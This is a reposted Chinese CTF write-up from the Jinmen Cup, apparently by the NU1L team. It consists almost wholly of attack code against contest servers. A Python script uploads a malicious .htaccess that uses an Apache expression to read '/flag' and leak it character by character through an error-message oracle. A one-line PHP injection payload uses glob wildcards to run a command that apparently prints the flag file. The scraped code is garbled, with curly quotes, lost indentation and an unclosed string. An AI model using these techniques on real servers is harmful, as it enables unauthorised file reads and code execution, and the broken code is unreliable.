首页 > 其他 > 详细

NU1L-wp学习-津门杯

时间:2021-06-05 21:51:53      阅读:36      评论:0      收藏:0      [点我收藏+]

UploadHub

import requests
import string
import hashlib
ip = requests.get(‘http://118.24.185.108/ip.php‘).text
print(ip)
def check(a):
 f = ‘‘‘
 <If "file(‘/flag‘)=~ /‘‘‘+a+‘‘‘/">
ErrorDocument 404 "wupco"
</If>
 
 resp = requests.post("http://122.112.248.222:20003/index.php?id=167",
data={‘submit‘: ‘submit‘}, files={‘file‘: (‘.htaccess‘,f)} )
 a = requests.get("http://122.112.248.222:20003/upload/"+ip+"/a").text
 if "wupco" not in a:
 return False
 else:
 return True
flag = "flag{BN"
c = string.ascii_letters + string.digits + "\{\}"
for j in range(32):
 for i in c:
 print("checking: "+ flag+i) 
 if check(flag+i):
 flag = flag+i
 print(flag)
 break
 else:
 continue

payload
http://122.112.214.101:20004/?code=?><?=/???/???%20/????;

NU1L-wp学习-津门杯

原文:https://www.cnblogs.com/murkuo/p/14853636.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!